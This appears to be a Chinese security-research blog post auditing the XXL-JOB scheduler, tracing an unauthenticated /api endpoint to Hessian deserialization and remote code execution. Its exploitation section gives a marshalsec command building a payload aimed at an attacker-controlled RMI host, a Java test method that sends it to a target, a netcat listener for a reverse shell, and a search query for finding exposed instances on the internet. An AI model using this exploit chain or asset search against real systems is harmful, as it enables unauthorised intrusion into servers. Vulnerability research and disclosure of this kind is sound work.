某次做项目的时候遇到了XXL-JOB
,当时并未公开任何xxl-job的漏洞,于是有了下面的代码审计,找到一处API接口的RCE,拿下一个严重漏洞。
一、XXL-JOB简介
XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。简单来说,xxl-job用于管理分布式任务,若任务的管理功能出现未授权访问,将造成相当大的影响。
二、代码审计
1.下载xxl-job的源码,查看项目的开发框架、根据框架特性查找所有的API接口
访问xxl-job项目地址 ,查看项目信息:Java语言开发、maven项目
直接下载并使用IDEA打开,如下:
根据pom.xml
文件内容可以确定,项目中使用了Spring
、Freemarker
、Jackson
、Hessian
、MyBatis
等组件,可以先将上述组件涉及的漏洞列入代码审计的重点排查对象,包括:EL注入
、模板注入
、反序列化漏洞
、Sql注入
等
因为该项目使用的是Spring
框架,因此直接利用Spring
注解查找API接口:@(.*?)Mapping\(
根据查找到的接口梳理出API地址
/
/toLogin
/login
/logout
/help
/api
/jobcode
/jobcode/save
/jobgroup
/jobgroup/save
/jobgroup/update
/jobgroup/remove
/jobinfo
/jobinfo/pageList
/jobinfo/add
/jobinfo/reschedule
/jobinfo/remove
/jobinfo/pause
/jobinfo/resume
/jobinfo/trigger
/joblog
/joblog/getJobsByGroup
/joblog/pageList
/joblog/logDetailPage
/joblog/logDetailCat
/joblog/logKill
/joblog/clearLog
利用dirsearch
扫描目标,查找可未授权访问的API接口,找到/api
接口
2.利用找到的API接口,FUZZ目标网站,根据响应判断版本并进行代码审计
在本地启动xxl-job项目,根据API接口列表和接口的响应判断出目标系统使用1.8
或1.9
版本的系统,于是切换至1.8版本的代码开始审计。
代码审计的三种方法:
针对通用漏洞,第三种方法效率最高,利用此方法时,通常搭配白盒工具或代码编辑器进行辅助,大概思路是根据危险方法(Sink方法)反向查找,判断sink方法的参数是否用户可控;
该方法的核心在于掌握的漏洞触发点(sink方法),白盒/灰盒相关工具的实现原理也大都基于函数回溯法,因此,白盒的效果基本上都取决于策略,由于篇幅原因,代码审计/灰白盒相关内容只做抛砖引玉,不做详细介绍。
xxl-job代码审计List:
Spring
框架导致反序列化
Freemarker
模板注入
Jackson
组件反序列化
Hessian
组件导致反序列化
MyBatis
导致Sql注入
根据第一步对API接口的查找,发现API接口位于xxl-job-admin
模块中,可从xxl-job-admin入手;这里,我直接在整个项目中搜索@RequestBody
,查找可能导致反序列化的API接口,没有发现
接下来,查找InputStream接口相关的反序列化漏洞,直接搜索readObject()
,寻找是否存在该方法的调用
找到HessianSerializer
类中存在对HessianInput
类readObject()
方法的调用,接下来,查找参数bytes是否外部可控,于是,查找调用deserialize
方法的代码
共找到三处调用,分别是:
xxl-job-core
模块中的com.xxl.job.core.rpc.netcom.jetty.server.JettyServerHandler#doInvoke
方法
xxl-job-core
模块中的com.xxl.job.core.rpc.netcom.jetty.client.JettyClient#send
方法
xxl-job-admin
模块中的com.xxl.job.admin.controller.JobApiController#doInvoke
方法
由于目标系统只对外开放了xxl-job-admin
模块中的WEB服务,因此,这里以第三处调用为例进行分析,其他两处调用可自行跟踪分析,均可找到相关的漏洞;
查看com.xxl.job.admin.controller.JobApiController#doInvoke
方法的详情,如下:
private RpcResponse doInvoke(HttpServletRequest request) {
try {
// deserialize request
byte[] requestBytes = HttpClientUtil.readBytes(request);
if (requestBytes == null || requestBytes.length==0) {
RpcResponse rpcResponse = new RpcResponse();
rpcResponse.setError("RpcRequest byte[] is null");
return rpcResponse;
}
RpcRequest rpcRequest = (RpcRequest) HessianSerializer.deserialize(requestBytes, RpcRequest.class);
// invoke
RpcResponse rpcResponse = NetComServerFactory.invokeService(rpcRequest, null);
return rpcResponse;
} catch (Exception e) {
logger.error(e.getMessage(), e);
RpcResponse rpcResponse = new RpcResponse();
rpcResponse.setError("Server-error:" + e.getMessage());
return rpcResponse;
}
}
上述代码中,首先利用HttpClientUtil#readBytes
从request请求中获取byte数组格式的POST数据,然后验证byte数组是否为空,不为空时,调用deserialize
方法触发Hessian的反序列化;
继续跟进com.xxl.job.admin.controller.JobApiController#doInvoke
方法的调用,找到JobApiController#api
方法,该方法中直接将HttpServletRequest
对象传入doInvoke
方法,未进行身份验证,可直接利用/api
接口发送Hessian
反序列化payload实现RCE。
@RequestMapping(AdminBiz.MAPPING)
@PermessionLimit(limit=false)
public void api(HttpServletRequest request, HttpServletResponse response) throws IOException {
// invoke
RpcResponse rpcResponse = doInvoke(request);
// serialize response
byte[] responseBytes = HessianSerializer.serialize(rpcResponse);
response.setContentType("text/html;charset=utf-8");
response.setStatus(HttpServletResponse.SC_OK);
//baseRequest.setHandled(true);
OutputStream out = response.getOutputStream();
out.write(responseBytes);
out.flush();
}
三、火器查找资产的姿势
发现该漏洞后,为了快速找到相关的资产,需要整理指纹,直接访问/api
接口发现响应如下:
于是,在火器中搜索HTTP响应体,即可找到相关的资产,搜索语法:request.body:"com.xxl.job.core.rpc.codec.RpcResponseS"
。
四、漏洞利用
此处反序列化漏洞利用需要以下内容(以下内容均可在火器中直接使用):
marshalsec
工具
RMI/LDAP
服务,用于JNDI
调用
HTTP
服务,存放恶意class文件
VPS
服务器,用于接收反弹shell
marshalsec中包含Hessian的反序列化payload,直接使用marshalsec创建LDAP的反序列化payload
$ java -cp marshalsec-0.0.3.jar marshalsec.Hessian SpringPartiallyComparableAdvisorHolder "rmi://xxx:1099/Exploit_c844e9060158632367e62ed5f6103b36" > /tmp/d.payload
打开xxl-job-admin
模块中的单元测试文件com.xxl.job.dao.impl.AdminBizTest
,修改addressUrl
地址为目标系统地址
在该文件中添加以下方法,用于发送payload触发漏洞
@Test
public void xxlJobRce() {
try {
byte[] data = getContent("/tmp/d.payload");
ByteArrayInputStream is = new ByteArrayInputStream(data);
HessianInput hi = new HessianInput(is);
hi.readObject();
hi.close();
byte[] responseBytes = HttpClientUtil.postRequest(addressUrl, data);
if (responseBytes == null || responseBytes.length == 0) {
;
}
} catch (Exception e) {
e.printStackTrace();
System.out.println("反序列化过程出错,错误原因:" + e);
}
}
public byte[] getContent(String filePath) throws IOException {
File file = new File(filePath);
long fileSize = file.length();
if (fileSize > Integer.MAX_VALUE) {
System.out.println("file too big...");
return null;
}
FileInputStream fi = new FileInputStream(file);
byte[] buffer = new byte[(int) fileSize];
int offset = 0;
int numRead = 0;
while (offset < buffer.length
&& (numRead = fi.read(buffer, offset, buffer.length - offset)) >= 0) {
offset += numRead;
}
// 确保所有数据均被读取
if (offset != buffer.length) {
throw new IOException("Could not completely read file "
+ file.getName());
}
fi.close();
return buffer;
}
在vps上开启nc监听7777端口,拿到shell
五、招聘
火线招安全研究工程师(代码审计方向)、移动安全工程师,帮助社区白帽子实战自动化/半自动化漏洞挖掘!
邮箱: cnsolu@huoxian.cn
本文迁移自知识星球“火线Zone”